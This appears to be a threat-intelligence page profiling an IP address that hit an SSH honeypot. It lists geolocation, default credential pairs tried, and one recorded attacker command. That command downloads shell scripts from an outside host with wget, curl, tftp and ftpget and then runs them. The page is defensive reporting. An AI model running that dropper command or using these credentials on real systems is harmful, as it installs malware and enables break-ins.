⚠TROYANOSYVIRUS
Active Threat • LOW

151.115.80.140

Country of Origin🇵🇱 Poland
First Detection2/9/2026
Last Activity2/9/2026
ISPScaleway S.a.s.
🎯
68
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
1
Malware

Geolocation

Country
🇵🇱 Poland
City
Warsaw
ASN
AS12876
ISP
Scaleway S.a.s.

Attack Types

cowrie

Attacked Ports

22

Associated Malware

c6c5b918005b5fa8515f...→

Attempted Credentials

🔐admin/admin
2x
🔐guest/guest
1x
🔐root/oelinux123
1x
🔐root/1
1x
🔐root/1234
1x
🔐root/root
1x
🔐root/123456
1x
🔐root/ute123
1x
🔐dev/dev
1x
🔐user/user
1x
🔐ubnt/ubnt
1x
🔐ubuntu/ubuntu
1x

Executed Commands

$uname -a ; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.121.84.11/cnd.sh 2>/dev/null; curl -sO http://87.121.84.11/cnd.sh 2>/dev/null; chmod 777 cnd.sh 2>/dev/null; sh cnd.sh 2>/dev/null; tftp 87.121.84.11 -c get cnd1.sh 2>/dev/null; chmod 777 cnd1.sh 2>/dev/null; sh cnd1.sh 2>/dev/null; tftp -r cnd2.sh -g 87.121.84.11 2>/dev/null; chmod 777 cnd2.sh 2>/dev/null; sh cnd2.sh 2>/dev/null; ftpget -v -u anonymous -p anonymous -P 21 87.121.84.11 cnd3.sh cnd3.sh 2>/dev/null; sh2x

Risk Assessment

35
/100
LowMediumHighCritical